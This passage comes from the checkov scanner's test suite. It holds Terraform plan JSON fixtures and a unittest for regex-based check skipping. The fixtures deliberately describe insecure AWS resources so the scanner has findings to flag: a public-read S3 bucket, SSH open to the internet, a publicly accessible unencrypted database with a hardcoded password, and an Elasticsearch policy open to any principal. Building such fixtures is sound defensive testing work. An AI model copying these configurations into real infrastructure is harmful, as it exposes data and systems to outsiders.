"vpc_security_group_ids": true } } }, { "address": "aws_neptune_cluster_instance.default[0]", "mode": "managed", "type": "aws_neptune_cluster_instance", "name": "default", "index": 0, "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "apply_immediately": true, "auto_minor_version_upgrade": true, "engine": "neptune", "instance_class": "db.t3.medium", "neptune_parameter_group_name": "default.neptune1", "port": 8182, "promotion_tier": 0, "publicly_accessible": false, "tags": null, "timeouts": null }, "after_unknown": { "address": true, "arn": true, "availability_zone": true, "cluster_identifier": true, "dbi_resource_id": true, "endpoint": true, "engine_version": true, "id": true, "identifier": true, "identifier_prefix": true, "kms_key_arn": true, "neptune_subnet_group_name": true, "preferred_backup_window": true, "preferred_maintenance_window": true, "storage_encrypted": true, "writer": true } } }, { "address": "aws_neptune_cluster_snapshot.default", "mode": "managed", "type": "aws_neptune_cluster_snapshot", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "db_cluster_snapshot_identifier": "resourcetestsnapshot1", "timeouts": null }, "after_unknown": { "allocated_storage": true, "availability_zones": true, "db_cluster_identifier": true, "db_cluster_snapshot_arn": true, "engine": true, "engine_version": true, "id": true, "kms_key_id": true, "license_model": true, "port": true, "snapshot_type": true, "source_db_cluster_snapshot_arn": true, "status": true, "storage_encrypted": true, "vpc_id": true } } }, { "address": "aws_network_interface.web-eni", "mode": "managed", "type": "aws_network_interface", "name": "web-eni", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": null, "private_ips": [ "172.16.10.100" ], "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-primary_network_interface" } }, "after_unknown": { "attachment": true, "id": true, "ipv6_address_count": true, "ipv6_addresses": true, "mac_address": true, "outpost_arn": true, "private_dns_name": true, "private_ip": true, "private_ips": [ false ], "private_ips_count": true, "security_groups": true, "subnet_id": true, "tags": {} } } }, { "address": "aws_route.public_internet_gateway", "mode": "managed", "type": "aws_route", "name": "public_internet_gateway", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "destination_cidr_block": "0.0.0.0/0", "destination_ipv6_cidr_block": null, "timeouts": { "create": "5m", "delete": null }, "transit_gateway_id": null, "vpc_peering_connection_id": null }, "after_unknown": { "destination_prefix_list_id": true, "egress_only_gateway_id": true, "gateway_id": true, "id": true, "instance_id": true, "instance_owner_id": true, "local_gateway_id": true, "nat_gateway_id": true, "network_interface_id": true, "origin": true, "route_table_id": true, "state": true, "timeouts": {} } } }, { "address": "aws_route_table.web_rtb", "mode": "managed", "type": "aws_route_table", "name": "web_rtb", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "tags": { "Name": "123456789123-acme-corp-rtb" } }, "after_unknown": { "id": true, "owner_id": true, "propagating_vgws": true, "route": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_route_table_association.rtbassoc", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "gateway_id": null }, "after_unknown": { "id": true, "route_table_id": true, "subnet_id": true } } }, { "address": "aws_route_table_association.rtbassoc2", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc2", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "gateway_id": null }, "after_unknown": { "id": true, "route_table_id": true, "subnet_id": true } } }, { "address": "aws_s3_bucket.data", "mode": "managed", "type": "aws_s3_bucket", "name": "data", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "public-read", "bucket": "123456789123-acme-corp-data", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-data" }, "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": true, "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.data_science", "mode": "managed", "type": "aws_s3_bucket", "name": "data_science", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-data-science", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [ { "target_prefix": "log/" } ], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": null, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [ { "target_bucket": true } ], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "versioning": [ {} ], "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.financials", "mode": "managed", "type": "aws_s3_bucket", "name": "financials", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-financials", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-financials" }, "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": true, "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.flowbucket", "mode": "managed", "type": "aws_s3_bucket", "name": "flowbucket", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-flowlogs", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-flowlogs" }, "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": true, "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.logs", "mode": "managed", "type": "aws_s3_bucket", "name": "logs", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "log-delivery-write", "bucket": "123456789123-acme-corp-logs", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "sse_algorithm": "aws:kms" } ] } ] } ], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-logs" }, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "kms_master_key_id": true } ] } ] } ], "tags": {}, "versioning": [ {} ], "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.operations", "mode": "managed", "type": "aws_s3_bucket", "name": "operations", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-operations", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-operations" }, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": [ {} ], "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket_object.data_object", "mode": "managed", "type": "aws_s3_bucket_object", "name": "data_object", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "cache_control": null, "content": null, "content_base64": null, "content_disposition": null, "content_encoding": null, "content_language": null, "force_destroy": false, "key": "customer-master.xlsx", "metadata": null, "object_lock_legal_hold_status": null, "object_lock_mode": null, "object_lock_retain_until_date": null, "source": "resources/customer-master.xlsx", "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-customer-master" }, "website_redirect": null }, "after_unknown": { "bucket": true, "content_type": true, "etag": true, "id": true, "kms_key_id": true, "server_side_encryption": true, "storage_class": true, "tags": {}, "version_id": true } } }, { "address": "aws_security_group.default", "mode": "managed", "type": "aws_security_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "Managed by Terraform", "name": "123456789123-acme-corp-rds-sg", "name_prefix": null, "revoke_rules_on_delete": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds-sg" }, "timeouts": null }, "after_unknown": { "arn": true, "egress": true, "id": true, "ingress": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_security_group.web-node", "mode": "managed", "type": "aws_security_group", "name": "web-node", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "123456789123-acme-corp Security Group", "egress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 0, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "-1", "security_groups": [], "self": false, "to_port": 0 } ], "ingress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 22, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_groups": [], "self": false, "to_port": 22 }, { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 80, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_groups": [], "self": false, "to_port": 80 } ], "name": "123456789123-acme-corp-sg", "name_prefix": null, "revoke_rules_on_delete": false, "tags": null, "timeouts": null }, "after_unknown": { "arn": true, "egress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] } ], "id": true, "ingress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] }, { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] } ], "owner_id": true, "vpc_id": true } } }, { "address": "aws_security_group_rule.egress", "mode": "managed", "type": "aws_security_group_rule", "name": "egress", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "cidr_blocks": [ "0.0.0.0/0" ], "description": null, "from_port": 0, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "-1", "self": false, "to_port": 0, "type": "egress" }, "after_unknown": { "cidr_blocks": [ false ], "id": true, "security_group_id": true, "source_security_group_id": true } } }, { "address": "aws_security_group_rule.ingress", "mode": "managed", "type": "aws_security_group_rule", "name": "ingress", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "cidr_blocks": [ "172.16.0.0/16" ], "description": null, "from_port": 3306, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "tcp", "self": false, "to_port": 3306, "type": "ingress" }, "after_unknown": { "cidr_blocks": [ false ], "id": true, "security_group_id": true, "source_security_group_id": true } } }, { "address": "aws_subnet.eks_subnet1", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet1", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2a", "cidr_block": "10.10.10.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-eks-subnet", "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_subnet.eks_subnet2", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet2", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2b", "cidr_block": "10.10.11.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-eks-subnet2", "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_subnet.web_subnet", "mode": "managed", "type": "aws_subnet", "name": "web_subnet", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2a", "cidr_block": "172.16.10.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-subnet" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_subnet.web_subnet2", "mode": "managed", "type": "aws_subnet", "name": "web_subnet2", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2b", "cidr_block": "172.16.11.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-subnet2" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_volume_attachment.ebs_att", "mode": "managed", "type": "aws_volume_attachment", "name": "ebs_att", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "device_name": "/dev/sdh", "force_detach": null, "skip_destroy": null }, "after_unknown": { "id": true, "instance_id": true, "volume_id": true } } }, { "address": "aws_vpc.eks_vpc", "mode": "managed", "type": "aws_vpc", "name": "eks_vpc", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_generated_ipv6_cidr_block": false, "cidr_block": "10.10.0.0/16", "enable_dns_hostnames": true, "enable_dns_support": true, "instance_tenancy": "default", "tags": { "Name": "123456789123-acme-corp-eks-vpc" } }, "after_unknown": { "arn": true, "default_network_acl_id": true, "default_route_table_id": true, "default_security_group_id": true, "dhcp_options_id": true, "enable_classiclink": true, "enable_classiclink_dns_support": true, "id": true, "ipv6_association_id": true, "ipv6_cidr_block": true, "main_route_table_id": true, "owner_id": true, "tags": {} } } }, { "address": "aws_vpc.web_vpc", "mode": "managed", "type": "aws_vpc", "name": "web_vpc", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_generated_ipv6_cidr_block": false, "cidr_block": "172.16.0.0/16", "enable_dns_hostnames": true, "enable_dns_support": true, "instance_tenancy": "default", "tags": { "Name": "123456789123-acme-corp-vpc" } }, "after_unknown": { "arn": true, "default_network_acl_id": true, "default_route_table_id": true, "default_security_group_id": true, "dhcp_options_id": true, "enable_classiclink": true, "enable_classiclink_dns_support": true, "id": true, "ipv6_association_id": true, "ipv6_cidr_block": true, "main_route_table_id": true, "owner_id": true, "tags": {} } } }, { "address": "null_resource.push_image", "mode": "managed", "type": "null_resource", "name": "push_image", "provider_name": "null", "change": { "actions": [ "create" ], "before": null, "after": { "triggers": null }, "after_unknown": { "id": true } } } ], "output_changes": { "db_app_public_dns": { "actions": [ "create" ], "before": null, "after_unknown": true }, "db_endpoint": { "actions": [ "create" ], "before": null, "after_unknown": true }, "ec2_public_dns": { "actions": [ "create" ], "before": null, "after_unknown": true }, "endpoint": { "actions": [ "create" ], "before": null, "after_unknown": true }, "kubeconfig-certificate-authority-data": { "actions": [ "create" ], "before": null, "after_unknown": true }, "public_subnet": { "actions": [ "create" ], "before": null, "after_unknown": true }, "public_subnet2": { "actions": [ "create" ], "before": null, "after_unknown": true }, "secret": { "actions": [ "create" ], "before": null, "after_unknown": true }, "username": { "actions": [ "create" ], "before": null, "after": "123456789123-acme-corp-user", "after_unknown": false }, "vpc_id": { "actions": [ "create" ], "before": null, "after_unknown": true } }, "prior_state": { "format_version": "0.1", "terraform_version": "0.12.23", "values": { "root_module": { "resources": [ { "address": "data.aws_ami.amazon-linux-2", "mode": "data", "type": "aws_ami", "name": "amazon-linux-2", "provider_name": "aws", "schema_version": 0, "values": { "architecture": "x86_64", "arn": "arn:aws:ec2:us-west-2::image/ami-0f0a6d00932023856", "block_device_mappings": [ { "device_name": "/dev/xvda", "ebs": { "delete_on_termination": "true", "encrypted": "false", "iops": "0", "snapshot_id": "snap-06c1606ba5ca274b1", "volume_size": "8", "volume_type": "standard" }, "no_device": "", "virtual_name": "" } ], "creation_date": "2020-09-22T02:09:24.000Z", "description": "Amazon Linux 2 AMI 2.0.20200917.0 x86_64 HVM ebs", "executable_users": null, "filter": [ { "name": "name", "values": [ "amzn2-ami-hvm-*-x86_64-ebs" ] }, { "name": "owner-alias", "values": [ "amazon" ] } ], "hypervisor": "xen", "id": "ami-0f0a6d00932023856", "image_id": "ami-0f0a6d00932023856", "image_location": "amazon/amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs", "image_owner_alias": "amazon", "image_type": "machine", "kernel_id": null, "most_recent": true, "name": "amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs", "name_regex": null, "owner_id": "137112412989", "owners": [ "amazon" ], "platform": null, "product_codes": [], "public": true, "ramdisk_id": null, "root_device_name": "/dev/xvda", "root_device_type": "ebs", "root_snapshot_id": "snap-06c1606ba5ca274b1", "sriov_net_support": "simple", "state": "available", "state_reason": { "code": "UNSET", "message": "UNSET" }, "tags": {}, "virtualization_type": "hvm" } }, { "address": "data.aws_caller_identity.current", "mode": "data", "type": "aws_caller_identity", "name": "current", "provider_name": "aws", "schema_version": 0, "values": { "account_id": "123456789123", "arn": "arn:aws:iam::123456789123:user/barak@bridgecrew.io", "id": "123456789123", "user_id": "AIDA2MPWNTLGWKZRRDYTT" } }, { "address": "data.aws_iam_policy_document.iam_policy_eks", "mode": "data", "type": "aws_iam_policy_document", "name": "iam_policy_eks", "provider_name": "aws", "schema_version": 0, "values": { "id": "189502314", "json": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"eks.amazonaws.com\"\n }\n }\n ]\n}", "override_json": null, "policy_id": null, "source_json": null, "statement": [ { "actions": [ "sts:AssumeRole" ], "condition": [], "effect": "Allow", "not_actions": [], "not_principals": [], "not_resources": [], "principals": [ { "identifiers": [ "eks.amazonaws.com" ], "type": "Service" } ], "resources": [], "sid": "" } ], "version": "2012-10-17" } }, { "address": "data.aws_iam_policy_document.policy", "mode": "data", "type": "aws_iam_policy_document", "name": "policy", "provider_name": "aws", "schema_version": 0, "values": { "id": "3931805674", "json": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"es:*\",\n \"Resource\": \"*\",\n \"Principal\": {\n \"AWS\": \"*\"\n }\n }\n ]\n}", "override_json": null, "policy_id": null, "source_json": null, "statement": [ { "actions": [ "es:*" ], "condition": [], "effect": "Allow", "not_actions": [], "not_principals": [], "not_resources": [], "principals": [ { "identifiers": [ "*" ], "type": "AWS" } ], "resources": [ "*" ], "sid": "" } ], "version": "2012-10-17" } } ] } } } } ================================================ FILE: tests/terraform/runner/tf_plan_skip_check_regex/test_tf_plan_skip_check_regex.py ================================================ import os import unittest from checkov.terraform.plan_runner import Runner from checkov.runner_filter import RunnerFilter class TestTFplanSkipCheckRegex(unittest.TestCase): def test_skip_all_checks(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/resource" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(skip_checks=[ "CKV_AWS_*:.*.json$", "CKV2_AWS_*:.*.json$", "CKV_NCP_*:.*.json$", "CKV_AZURE_*:.*.json$", "CKV2_AZURE_*:.*.json$", "CKV2_GCP_*:.*.json$", "CKV_ADO_*:.*.json$", "CKV2_ADO_*:.*.json$", "CKV_OCI_*:.*.json$", "CKV2_OCI_*:.*.json$", "CKV_GIT_*:.*.json$", "CKV2_GIT_1:.*.json$" ]) ) summary = report.get_summary() self.assertEqual(summary['passed'], 0) self.assertEqual(summary['failed'], 0) # As skip is not being inserted to result in base check scan self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) def test_skip_some_checks(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/resource" report1 = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(skip_checks=["CKV2_AWS_*:.*.json$"]) ) summary1 = report1.get_summary() report2 = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter()) summary2 = report2.get_summary() self.assertNotEqual(summary1['passed'], summary2['passed']) self.assertNotEqual(summary1['failed'], summary2['failed']) def test_skip_only_one_file(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/resource" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(skip_checks=[ "CKV_AWS_*:.*skip_directory.*.json$", "CKV2_AWS_*:.*skip_directory.*.json$", "CKV_NCP_*:.*skip_directory.*.json$", "CKV_AZURE_*:.*skip_directory.*.json$", "CKV2_AZURE_*:.*skip_directory.*.json$", "CKV2_GCP_*:.*skip_directory.*.json$", "CKV_ADO_*:.*skip_directory.*.json$", "CKV2_ADO_*:.*skip_directory.*.json$", "CKV_OCI_*:.*skip_directory.*.json$", "CKV2_OCI_*:.*skip_directory.*.json$", "CKV_GIT_*:.*skip_directory.*.json$", "CKV2_GIT_1:.*skip_directory.*.json$" ])) summary = report.get_summary() no_skip_report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter()) no_skip_summary = no_skip_report.get_summary() self.assertNotEqual(summary['passed'], no_skip_summary['passed']) self.assertNotEqual(summary['failed'], no_skip_summary['failed']) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/runner/tfplan2.json ================================================ { "format_version": "0.1", "terraform_version": "0.12.23", "variables": { "ami": { "value": "ami-09a5b0b7edf08843d" }, "availability_zone": { "value": "us-west-2a" }, "availability_zone2": { "value": "us-west-2b" }, "company_name": { "value": "acme" }, "dbname": { "value": "db1" }, "environment": { "value": "corp" }, "neptune-dbname": { "value": "neptunedb1" }, "password": { "value": "Aa1234321Bb" }, "profile": { "value": "default" }, "region": { "value": "us-west-2" } }, "planned_values": { "outputs": { "db_app_public_dns": { "sensitive": false }, "db_endpoint": { "sensitive": false }, "ec2_public_dns": { "sensitive": false }, "endpoint": { "sensitive": false }, "kubeconfig-certificate-authority-data": { "sensitive": false }, "public_subnet": { "sensitive": false }, "public_subnet2": { "sensitive": false }, "secret": { "sensitive": false }, "username": { "sensitive": false, "value": "123456789123-acme-corp-user" }, "vpc_id": { "sensitive": false } }, "root_module": { "resources": [ { "address": "aws_db_instance.default", "mode": "managed", "type": "aws_db_instance", "name": "default", "provider_name": "aws", "schema_version": 1, "values": { "allocated_storage": 20, "allow_major_version_upgrade": null, "apply_immediately": true, "auto_minor_version_upgrade": true, "backup_retention_period": 0, "copy_tags_to_snapshot": false, "db_subnet_group_name": "sg-123456789123-acme-corp", "delete_automated_backups": true, "deletion_protection": null, "domain": null, "domain_iam_role_name": null, "enabled_cloudwatch_logs_exports": null, "engine": "mysql", "engine_version": "8.0", "final_snapshot_identifier": null, "iam_database_authentication_enabled": null, "identifier": "rds-123456789123-acme-corp", "instance_class": "db.t3.micro", "iops": null, "max_allocated_storage": null, "monitoring_interval": 0, "multi_az": false, "name": "db1", "option_group_name": "og-123456789123-acme-corp", "parameter_group_name": "pg-123456789123-acme-corp", "password": "Aa1234321Bb", "performance_insights_enabled": false, "publicly_accessible": true, "replicate_source_db": null, "s3_import": [], "security_group_names": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds" }, "timeouts": null, "username": "admin" } }, { "address": "aws_db_option_group.default", "mode": "managed", "type": "aws_db_option_group", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "engine_name": "mysql", "major_engine_version": "8.0", "name": "og-123456789123-acme-corp", "option": [], "option_group_description": "Terraform OG", "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-og" }, "timeouts": null } }, { "address": "aws_db_parameter_group.default", "mode": "managed", "type": "aws_db_parameter_group", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "description": "Terraform PG", "family": "mysql8.0", "name": "pg-123456789123-acme-corp", "parameter": [ { "apply_method": "immediate", "name": "character_set_client", "value": "utf8" }, { "apply_method": "immediate", "name": "character_set_server", "value": "utf8" } ], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-pg" } } }, { "address": "aws_db_subnet_group.default", "mode": "managed", "type": "aws_db_subnet_group", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "description": "Terraform DB Subnet Group", "name": "sg-123456789123-acme-corp", "tags": { "Environment": "123456789123-acme-corp", "Name": "sg-123456789123-acme-corp" } } }, { "address": "aws_ebs_snapshot.example_snapshot", "mode": "managed", "type": "aws_ebs_snapshot", "name": "example_snapshot", "provider_name": "aws", "schema_version": 0, "values": { "description": "123456789123-acme-corp-ebs-snapshot", "tags": { "Name": "123456789123-acme-corp-ebs-snapshot" }, "timeouts": null } }, { "address": "aws_ebs_volume.web_host_storage", "mode": "managed", "type": "aws_ebs_volume", "name": "web_host_storage", "provider_name": "aws", "schema_version": 0, "values": { "availability_zone": "us-west-2a", "multi_attach_enabled": null, "outpost_arn": null, "size": 1, "tags": { "Name": "123456789123-acme-corp-ebs" } } }, { "address": "aws_ecr_repository.repository", "mode": "managed", "type": "aws_ecr_repository", "name": "repository", "provider_name": "aws", "schema_version": 0, "values": { "encryption_configuration": [], "image_scanning_configuration": [], "image_tag_mutability": "MUTABLE", "name": "123456789123-acme-corp-repository", "tags": { "Name": "123456789123-acme-corp-repository" }, "timeouts": null } }, { "address": "aws_eks_cluster.eks_cluster", "mode": "managed", "type": "aws_eks_cluster", "name": "eks_cluster", "provider_name": "aws", "schema_version": 0, "values": { "enabled_cluster_log_types": null, "encryption_config": [], "name": "123456789123-acme-corp-eks", "tags": null, "timeouts": null, "vpc_config": [ { "endpoint_private_access": true, "endpoint_public_access": true, "security_group_ids": null } ] } }, { "address": "aws_elasticsearch_domain.monitoring-framework", "mode": "managed", "type": "aws_elasticsearch_domain", "name": "monitoring-framework", "provider_name": "aws", "schema_version": 0, "values": { "cluster_config": [ { "dedicated_master_count": null, "dedicated_master_enabled": false, "dedicated_master_type": null, "instance_count": 1, "instance_type": "t2.small.elasticsearch", "warm_count": null, "warm_enabled": null, "warm_type": null, "zone_awareness_config": [], "zone_awareness_enabled": null } ], "cognito_options": [], "domain_name": "tg-corp-es", "ebs_options": [ { "ebs_enabled": true, "iops": null, "volume_size": 30 } ], "elasticsearch_version": "2.3", "log_publishing_options": [], "snapshot_options": [], "tags": null, "timeouts": null, "vpc_options": [] } }, { "address": "aws_elasticsearch_domain_policy.monitoring-framework-policy", "mode": "managed", "type": "aws_elasticsearch_domain_policy", "name": "monitoring-framework-policy", "provider_name": "aws", "schema_version": 0, "values": { "access_policies": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"es:*\",\n \"Resource\": \"*\",\n \"Principal\": {\n \"AWS\": \"*\"\n }\n }\n ]\n}", "domain_name": "tg-corp-es" } }, { "address": "aws_elb.weblb", "mode": "managed", "type": "aws_elb", "name": "weblb", "provider_name": "aws", "schema_version": 0, "values": { "access_logs": [], "connection_draining": true, "connection_draining_timeout": 400, "cross_zone_load_balancing": true, "health_check": [ { "healthy_threshold": 2, "interval": 30, "target": "HTTP:8000/", "timeout": 3, "unhealthy_threshold": 2 } ], "idle_timeout": 400, "listener": [ { "instance_port": 8000, "instance_protocol": "http", "lb_port": 80, "lb_protocol": "http", "ssl_certificate_id": "" } ], "name": "weblb-terraform-elb", "name_prefix": null, "tags": { "Name": "foobar-terraform-elb" } } }, { "address": "aws_flow_log.vpcflowlogs", "mode": "managed", "type": "aws_flow_log", "name": 